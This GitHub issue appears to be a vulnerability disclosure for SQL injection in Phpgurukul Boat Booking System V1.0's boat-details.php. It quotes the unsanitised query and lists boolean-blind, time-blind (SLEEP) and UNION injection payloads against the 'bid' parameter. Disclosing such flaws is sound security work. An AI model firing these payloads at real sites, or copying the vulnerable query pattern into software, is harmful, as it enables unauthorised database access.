New issue

⧉

CVE Report - Phpgurukul Boat Booking System-PHP V1.0 SQL injection in /boat-details.php #1

Closed

🐱 **1cfh** opened 2 weeks ago   ···

CVE Report - Phpgurukul Boat Booking System-PHP V1.0 SQL injection in /boat-details.php

Vulnerability Title

SQL injection Vulnerability in Phpgurukul Boat Booking System-PHP V1.0

Vulnerability Description

SQL injection is a code injection technique used to attack data-driven applications by inserting malicious SQL statements into an entry field for execution. It exploits vulnerabilities in an application's software, such as improper filtering of user input or lack of strong typing, allowing attackers to manipulate SQL queries. This can lead to unauthorized access, data breaches, and other serious security issues.

Affected Components

```
File: /boat-details.php
Line: 65
Vulnerable Code:
$rs = $query = mysqli_query($con, "SELECT * FROM tblboat WHERE ID='$bid'");
```

Attack Steps

- boolean-based blind

```
bid=1' AND 2740=2740 AND 'wrlL'='wrlL
```

- time-based blind

```
bid=1' AND (SELECT 1184 FROM (SELECT(SLEEP(5)))BDaU) AND 'ALMH'='ALMH
```

- UNION query

```
bid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a7a7171,0x585044684d4e5a71486a506966564a56
- -
```

Affected Versions

Phpgurukul Boat Booking System-PHP V1.0

Suggested Fix

Please fix the code in a timely manner and update the code version.

Contact Information

- Reporter: 1cfh

1cfh closed this as completed 3 days ago

Sign up for free **to join this conversation on GitHub.** Already have an account? **Sign in to comment**

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants